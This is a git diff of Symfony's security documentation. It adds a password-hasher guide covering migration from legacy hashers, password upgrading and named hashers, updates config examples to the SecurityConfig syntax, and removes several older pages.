+When a better hashing algorithm becomes available, you should keep the existing
+hasher(s), rename it, and then define the new one. Set the ``migrate_from`` option
+on the new hasher to point to the old, legacy hasher(s):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # a hasher used in the past for some users
+                legacy:
+                    algorithm: sha256
+                    encode_as_base64: false
+                    iterations: 1
+
+                App\Entity\User:
+                    # the new hasher, along with its options
+                    algorithm: sodium
+                    migrate_from:
+                        - bcrypt # uses the "bcrypt" hasher with the default options
+                        - legacy # uses the "legacy" hasher configured above
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:security="http://symfony.com/schema/dic/security"
+            xsi:schemaLocation="http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <security:config>
+                <!-- ... -->
+
+                <security:password-hasher class="legacy"
+                    algorithm="sha256"
+                    encode-as-base64="false"
+                    iterations="1"
+                />
+
+                <!-- algorithm: the new hasher, along with its options -->
+                <security:password-hasher class="App\Entity\User"
+                    algorithm="sodium"
+                >
+                    <!-- uses the bcrypt hasher with the default options -->
+                    <security:migrate-from>bcrypt</security:migrate-from>
+
+                    <!-- uses the legacy hasher configured above -->
+                    <security:migrate-from>legacy</security:migrate-from>
+                </security:password-hasher>
+            </security:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('legacy')
+                ->algorithm('sha256')
+                ->encodeAsBase64(true)
+                ->iterations(1)
+            ;
+
+            $security->passwordHasher('App\Entity\User')
+                // the new hasher, along with its options
+                ->algorithm('sodium')
+                ->migrateFrom([
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        // ...
+        $passwordHasherFactory = new PasswordHasherFactory([
+            'legacy' => [
+                'algorithm' => 'sha256',
+                'encode_as_base64' => true,
+                'iterations' => 1,
+            ],
+
+            User::class => [
+                // the new hasher, along with its options
+                'algorithm' => 'sodium',
+                'migrate_from' => [
+                    'bcrypt', // uses the "bcrypt" hasher with the default options
+                    'legacy', // uses the "legacy" hasher configured above
+                ],
+            ],
+        ]);
+
+With this setup:
+
+* New users will be hashed with the new algorithm;
+* Whenever a user logs in whose password is still stored using the old algorithm,
+  Symfony will verify the password with the old algorithm and then rehash
+  and update the password using the new algorithm.
+
+.. tip::
+
+    The *auto*, *native*, *bcrypt* and *argon* hashers automatically enable
+    password migration using the following list of ``migrate_from`` algorithms:
+
+    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
+    #. Message digest (which uses :phpfunction:`hash`)
+
+    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
+    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
+    hasher is used.
+
+Upgrade the Password
+~~~~~~~~~~~~~~~~~~~~
+
+Upon successful login, the Security system checks whether a better algorithm
+is available to hash the user's password. If it is, it'll hash the correct
+password using the new hash. When using a custom authenticator, you must
+use the ``PasswordCredentials`` in the :ref:`security passport <security-passport>`.
+
+You can enable the upgrade behavior by implementing how this newly hashed
+password should be stored:
+
+* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
+* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
+
+After this, you're done and passwords are always hashed as secure as possible!
+
+.. note::
+
+    When using the PasswordHasher component outside a Symfony application,
+    you must manually use the ``PasswordHasherInterface::needsRehash()``
+    method to check if a rehash is needed and ``PasswordHasherInterface::hash()``
+    method to rehash the plaintext password using the new algorithm.
+
+.. _upgrade-the-password-doctrine:
+
+Upgrade the Password when using Doctrine
+........................................
+
+When using the :ref:`entity user provider <security-entity-user-provider>`, implement
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
+create this class if it's not already created). This interface implements
+storing the newly created password hash::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // execute the queries on the database
+            $this->getEntityManager()->flush();
+        }
+    }
+
+.. _upgrade-the-password-custom-provider:
+
+Upgrade the Password when using a Custom User Provider
+......................................................
+
+If you're using a :ref:`custom user provider <security-custom-user-provider>`, implement the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the user provider::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // ... store the new password
+        }
+    }
+
+Trigger Password Migration From a Custom Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using a custom password hasher, you can trigger the password
+migration by returning ``true`` in the ``needsRehash()`` method::
+
+    // src/Security/CustomPasswordHasher.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class CustomPasswordHasher implements UserPasswordHasherInterface
+    {
+        // ...
+
+        public function needsRehash(string $hashed): bool
+        {
+            // check whether the current password is hashed using an outdated hasher
+            $hashIsOutdated = ...;
+
+            return $hashIsOutdated;
+        }
+    }
+
+Named Password Hashers
+----------------------
+
+Usually, the same password hasher is used for all users by configuring it
+to apply to all instances of a specific class. Another option is to use a
+"named" hasher and then select which hasher you want to use dynamically.
+
+By default (as shown at the start of the article), the ``auto`` algorithm
+is used for ``App\Entity\User``.
+
+This may be secure enough for a regular user, but what if you want your
+admins to have a stronger algorithm, for example ``auto`` with a higher
+cost. This can be done with named hashers:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                harsh:
+                    algorithm: auto
+                    cost: 15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password-hasher class="harsh"
+                    algorithm="auto"
+                    cost="15"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // ...
+            'harsh' => [
+                'algorithm' => 'auto',
+                'cost' => 15
+            ],
+        ]);
+
+This creates a hasher named ``harsh``. In order for a ``User`` instance
+to use it, the class must implement
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements
+        UserInterface,
+        PasswordAuthenticatedUserInterface,
+        PasswordHasherAwareInterface
+    {
+        // ...
+
+        public function getPasswordHasherName(): ?string
+        {
+            if ($this->isAdmin()) {
+                return 'harsh';
+            }
+
+            return null; // use the default hasher
+        }
+    }
+
+If you created your own password hasher implementing the
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
+
+.. _passwordhasher-supported-algorithms:
+
+Supported Algorithms
+--------------------
+
+* :ref:`auto <reference-security-encoder-auto>`
+* :ref:`bcrypt <reference-security-encoder-bcrypt>`
+* :ref:`sodium <reference-security-sodium>`
+* :ref:`PBKDF2 <reference-security-pbkdf2>`
+
+.. TODO missing:
+    * :ref:`Message Digest <reference-security-message-digest>`
+    * :ref:`Native <reference-security-native>`
+    * :ref:`Plaintext <reference-security-plaintext>`
+
+.. _reference-security-encoder-auto:
+
+The "auto"  Hasher
+~~~~~~~~~~~~~~~~~~
+
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
+
+.. _reference-security-encoder-bcrypt:
+
+The Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
+allocate enough space for them to be persisted. Also, passwords include the
+`cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+Its only configuration option is ``cost``, which is an integer in the range of
+``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
+time** it takes to hash a password. It's designed this way so the password
+strength can be adapted to the future improvements in computation power.
+
+You can change the cost at any time — even if you already have some passwords
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
+
+.. tip::
+
+    A simple technique to make tests much faster when using BCrypt is to set
+    the cost to ``4``, which is the minimum value allowed, in the ``test``
+    environment configuration.
+
+.. _reference-security-sodium:
+
+The Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+.. _reference-security-pbkdf2:
+
+The PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~
+
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
+Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
+to those newer hashing algorithms.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
+.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
+.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
+.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
+.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/remember_me.rst b/security/remember_me.rst
index de9f51afddf..b14b012202f 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -63,24 +63,23 @@ the session lasts using a cookie with the ``remember_me`` firewall option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'remember_me' => [
-                        'secret'   => '%kernel.secret%',
-                        'lifetime' => 604800, // 1 week in seconds
-                        'path'     => '/',
-                        // by default, the feature is enabled by checking a
-                        // checkbox in the login form (see below), uncomment
-                        // the following line to always enable it.
-                        //'always_remember_me' => true,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
+                    ->secret('%kernel.secret%')
+                    ->lifetime(604800) // 1 week in seconds
+                    ->path('/')
+
+                    // by default, the feature is enabled by checking a
+                    // checkbox in the login form (see below), uncomment
+                    // the following line to always enable it.
+                    // ->alwaysRememberMe(true)
+            ;
+        };
 
 The ``remember_me`` firewall defines the following configuration options:
 
@@ -184,7 +183,7 @@ users to change their password. You can do this by leveraging a few special
     // src/Controller/AccountController.php
     // ...
 
-    public function accountInfo()
+    public function accountInfo(): Response
     {
         // allow any authenticated user - we don't care if they just
         // logged in, or are logged in via a remember me cookie
@@ -193,7 +192,7 @@ users to change their password. You can do this by leveraging a few special
         // ...
     }
 
-    public function resetPassword()
+    public function resetPassword(): Response
     {
         // require the user to log in during *this* session
         // if they were only logged in via a remember me cookie, they
@@ -283,19 +282,19 @@ so ``DoctrineTokenProvider`` can store the tokens:
 
         .. code-block:: xml
 
-            # config/packages/doctrine.xml
+            <!-- config/packages/doctrine.xml -->
             <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/>
 
         .. code-block:: php
 
-            # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!rememberme_token)~',
-                    // ...
-                ],
+            // config/packages/doctrine.php
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $dbalDefault = $doctrine->dbal()->connection('default');
                 // ...
-            ]);
+                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
+            };
 
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
 service you created before:
@@ -344,16 +343,14 @@ service you created before:
 
         // config/packages/security.php
         use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider;
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main' => [
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->rememberMe()
                     // ...
-                    'remember_me' => [
-                        // ...
-                        'token_provider' => DoctrineTokenProvider::class,
-                    ],
-                ],
-            ],
-        ]);
+                    ->tokenProvider(DoctrineTokenProvider::class)
+            ;
+        };
diff --git a/security/reset_password.rst b/security/reset_password.rst
deleted file mode 100644
index bbde221f015..00000000000
--- a/security/reset_password.rst
+++ /dev/null
@@ -1,28 +0,0 @@
-How to Add a Reset Password Feature
-===================================
-
-Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a
-secure out of the box solution to handle forgotten passwords.
-
-First, make sure you have a security ``User`` class. Follow
-the :doc:`Security Guide </security>` if you don't have one already.
-
-Generating the Reset Password Code
-----------------------------------
-
-.. code-block:: terminal
-
-    $ composer require symfonycasts/reset-password-bundle
-        .....
-    $ php bin/console make:reset-password
-
-The `make:reset-password` command will ask you a few questions about your app and
-generate all the files you need! After, you'll see a success message and a list
-of any other steps you need to do.
-
-You can customize the reset password bundle's behavior by updating the ``reset_password.yaml``
-file. For more information on the configuration, check out the
-`SymfonyCastsResetPasswordBundle`_  guide.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/securing_services.rst b/security/securing_services.rst
deleted file mode 100644
index 67b37dd792e..00000000000
--- a/security/securing_services.rst
+++ /dev/null
@@ -1,53 +0,0 @@
-.. index::
-   single: Security; Securing any service
-   single: Security; Securing any method
-
-How to Secure any Service or Method in your Application
-=======================================================
-
-In the security article, you learned how to
-:ref:`secure a controller <security-securing-controller>` via a shortcut method.
-
-But, you can check access *anywhere* in your code by injecting the ``Security``
-service. For example, suppose you have a ``SalesReportManager`` service and you
-want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
-
-.. code-block:: diff
-
-    // src/Newsletter/NewsletterManager.php
-
-    // ...
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
-
-    class SalesReportManager
-    {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-        public function sendNewsletter()
-        {
-            $salesData = [];
-
-    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
-    +             $salesData['top_secret_numbers'] = rand();
-    +         }
-
-            // ...
-        }
-
-        // ...
-    }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-Symfony will automatically pass the ``security.helper`` to your service
-thanks to autowiring and the ``Security`` type-hint.
-
-You can also use a lower-level
-:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
-service. It does the same thing as ``Security``, but allows you to type-hint a
-more-specific interface.
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 9ded2a00449..a404a668932 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -23,7 +23,7 @@ displayed to the user::
 
     namespace App\Security;
 
-    use App\Security\User as AppUser;
+    use App\Entity\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
@@ -31,7 +31,7 @@ displayed to the user::
 
     class UserChecker implements UserCheckerInterface
     {
-        public function checkPreAuth(UserInterface $user)
+        public function checkPreAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -43,7 +43,7 @@ displayed to the user::
             }
         }
 
-        public function checkPostAuth(UserInterface $user)
+        public function checkPostAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -87,7 +87,7 @@ is the service id of your user checker:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -110,14 +110,13 @@ is the service id of your user checker:
 
         // config/packages/security.php
         use App\Security\UserChecker;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'firewalls' => [
-                'main' => [
-                    'pattern' => '^/',
-                    'user_checker' => UserChecker::class,
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker(UserChecker::class)
+                // ...
+            ;
+        };
diff --git a/security/user_provider.rst b/security/user_provider.rst
deleted file mode 100644
index 00e7c5a58d8..00000000000
--- a/security/user_provider.rst
+++ /dev/null
@@ -1,533 +0,0 @@
-Security User Providers
-=======================
-
-User providers are PHP classes related to Symfony Security that have two jobs:
-
-**Reload the User from the Session**
-    At the beginning of each request (unless your firewall is ``stateless``), Symfony
-    loads the ``User`` object from the session. To make sure it's not out-of-date,
-    the user provider "refreshes it". The Doctrine user provider, for example,
-    queries the database for fresh data. Symfony then checks to see if the user
-    has "changed" and de-authenticates the user if they have (see :ref:`user_session_refresh`).
-
-**Load the User for some Feature**
-    Some features, like :doc:`user impersonation </security/impersonating_user>`,
-    :doc:`Remember Me </security/remember_me>` and many of the built-in
-    :doc:`authentication providers </security/auth_providers>`, use the user provider
-    to load a User object via its "username" (or email, or whatever field you want).
-
-Symfony comes with several built-in user providers:
-
-* :ref:`Entity User Provider <security-entity-user-provider>` (loads users from
-  a database);
-* :ref:`LDAP User Provider <security-ldap-user-provider>` (loads users from a
-  LDAP server);
-* :ref:`Memory User Provider <security-memory-user-provider>` (loads users from
-  a configuration file);
-* :ref:`Chain User Provider <security-chain-user-provider>` (merges two or more
-  user providers into a new user provider).
-
-The built-in user providers cover all the needs for most applications, but you
-can also create your own :ref:`custom user provider <custom-user-provider>`.
-
-.. _security-entity-user-provider:
-
-Entity User Provider
---------------------
-
-This is the most common user provider for traditional web applications. Users
-are stored in a database and the user provider uses :doc:`Doctrine </doctrine>`
-to retrieve them:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        # the class of the entity that represents users
-                        class: 'App\Entity\User'
-                        # the property to query by - e.g. username, email, etc
-                        property: 'username'
-                        # optional: if you're using multiple Doctrine entity
-                        # managers, this option defines which one to use
-                        # manager_name: 'customer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <provider name="users">
-                    <!-- 'class' is the entity that represents users and 'property'
-                         is the entity property to query by - e.g. username, email, etc -->
-                    <entity class="App\Entity\User" property="username"/>
-
-                    <!-- optional: if you're using multiple Doctrine entity
-                         managers, this option defines which one to use -->
-                    <!-- <entity class="App\Entity\User" property="username"
-                                 manager-name="customer"/> -->
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        // the class of the entity that represents users
-                        'class'    => User::class,
-                        // the property to query by - e.g. username, email, etc
-                        'property' => 'username',
-                        // optional: if you're using multiple Doctrine entity
-                        // managers, this option defines which one to use
-                        // 'manager_name' => 'customer',
-                    ],
-                ],
-            ],
-
-            // ...
-        ]);
-
-The ``providers`` section creates a "user provider" called ``users`` that knows
-how to query from your ``App\Entity\User`` entity by the ``username`` property.
-You can choose any name for the user provider, but it's recommended to pick a
-descriptive name because this will be later used in the firewall configuration.
-
-.. _authenticating-someone-with-a-custom-entity-provider:
-
-Using a Custom Query to Load the User
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``entity`` provider can only query from one *specific* field, specified by
-the ``property`` config key. If you want a bit more control over this - e.g. you
-want to find a user by ``email`` *or* ``username``, you can do that by making
-your ``UserRepository`` implement the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByUsername($username)``::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
-    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
-
-    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
-    {
-        // ...
-
-        public function loadUserByUsername(string $usernameOrEmail)
-        {
-            $entityManager = $this->getEntityManager();
-            
-            return $entityManager->createQuery(
-                    'SELECT u
-                    FROM App\Entity\User u
-                    WHERE u.username = :query
-                    OR u.email = :query'
-                )
-                ->setParameter('query', $usernameOrEmail)
-                ->getOneOrNullResult();
-        }
-    }
-
-To finish this, remove the ``property`` key from the user provider in
-``security.yaml``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        class: App\Entity\User
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="users">
-                    <entity class="App\Entity\User"/>
-                </provider>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-
-            'providers' => [
-                'users' => [
-                    'entity' => [
-                        'class' => User::class,
-                    ],
-                ],
-            ],
-        ]);
-
-This tells Symfony to *not* query automatically for the User. Instead, when
-needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
-:doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByUsername()`` method on ``UserRepository`` will be called.
-
-.. _security-memory-user-provider:
-
-Memory User Provider
---------------------
-
-It's not recommended to use this provider in real applications because of its
-limitations and how difficult it is to manage users. It may be useful in application
-prototypes and for limited applications that don't store users in databases.
-
-This user provider stores all user information in a configuration file,
-including their passwords. That's why the first step is to configure how these
-users will encode their passwords:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                # this internal class is used by Symfony to represent in-memory users
-                Symfony\Component\Security\Core\User\User: 'auto'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-
-                <!-- this internal class is used by Symfony to represent in-memory users -->
-                <encoder class="Symfony\Component\Security\Core\User\User"
-                    algorithm="auto"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // this internal class is used by Symfony to represent in-memory users
-        use Symfony\Component\Security\Core\User\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-            ],
-        ]);
-
-Then, run this command to encode the plain text passwords of your users:
-
-.. code-block:: terminal
-
-    $ php bin/console security:encode-password
-
-Now you can configure all the user information in ``config/packages/security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
-
-.. caution::
-
-    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose an encoding without salt (i.e. ``bcrypt``).
-
-.. _security-ldap-user-provider:
-
-LDAP User Provider
-------------------
-
-This user provider requires installing certain dependencies and using some
-special authentication providers, so it's explained in a separate article:
-:doc:`/security/ldap`.
-
-.. _security-chain-user-provider:
-
-Chain User Provider
--------------------
-
-This user provider combines two or more of the other provider types (``entity``,
-``memory`` and ``ldap``) to create a new user provider. The order in which
-providers are configured is important because Symfony will look for users
-starting from the first provider and will keep looking for in the other
-providers until the user is found:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    # ...
-
-            legacy_users:
-                entity:
-                    # ...
-
-            users:
-                entity:
-                    # ...
-
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
-
-.. _custom-user-provider:
-
-Creating a Custom User Provider
--------------------------------
-
-Most applications don't need to create a custom provider. If you store users in
-a database, a LDAP server or a configuration file, Symfony supports that.
-However, if you're loading users from a custom location (e.g. via an API or
-legacy database connection), you'll need to create a custom user provider.
-
-First, make sure you've followed the :doc:`Security Guide </security>` to create
